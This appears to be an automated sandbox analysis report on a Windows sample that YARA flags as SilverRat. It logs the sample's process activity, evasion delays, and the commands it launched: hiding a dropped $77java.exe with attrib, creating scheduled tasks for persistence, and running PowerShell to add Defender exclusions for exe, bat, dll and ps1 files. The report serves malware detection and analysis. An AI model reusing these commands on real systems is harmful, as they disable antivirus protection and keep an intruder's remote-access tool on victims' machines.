Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected SilverRat

Source: Yara match	File source: RLesaPFXew.exe, type: SAMPLE
Source: Yara match	File source: 0.0.RLesaPFXew.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RLesaPFXew.exe.3af8618.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RLesaPFXew.exe.3af8618.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2129565272.00000000001D2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2158375099.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RLesaPFXew.exe PID: 5576, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\java\$77java.exe, type: DROPPED

Source: C:\Users\user\Desktop\RLesaPFXew.exe	Memory allocated: A00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Memory allocated: 1B620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Memory allocated: FA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Memory allocated: 1B650000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Memory allocated: 2700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Memory allocated: 1B040000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\RLesaPFXew.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7002			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2747			Jump to behavior

Source: C:\Users\user\Desktop\RLesaPFXew.exe TID: 1864	Thread sleep count: 71 > 30	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe TID: 6536	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1088	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\java\$77java.exe TID: 5716	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\java\$77java.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\java\$77java.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\RLesaPFXew.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: $77java.exe, 0000000D.00000002.3391902059.000000001C308000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll%/
Source: RLesaPFXew.exe, 00000000.00000002.2158070859.000000000309F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\RLesaPFXew.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\RLesaPFXew.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\java"	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\java\$77java.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmp4B52.tmp.bat""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 3	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\java\$77java.exe "C:\Users\user\java\$77java.exe"	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN $77java.exe	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Create /SC ONCE /TN "$77java.exe" /TR "C:\Users\user\java\$77java.exe \"\$77java.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN $77java.exe	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /sc daily /tn "java_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:00	Jump to behavior

Source: C:\Users\user\Desktop\RLesaPFXew.exe	Queries volume information: C:\Users\user\Desktop\RLesaPFXew.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\java\$77java.exe	Queries volume information: C:\Users\user\java\$77java.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
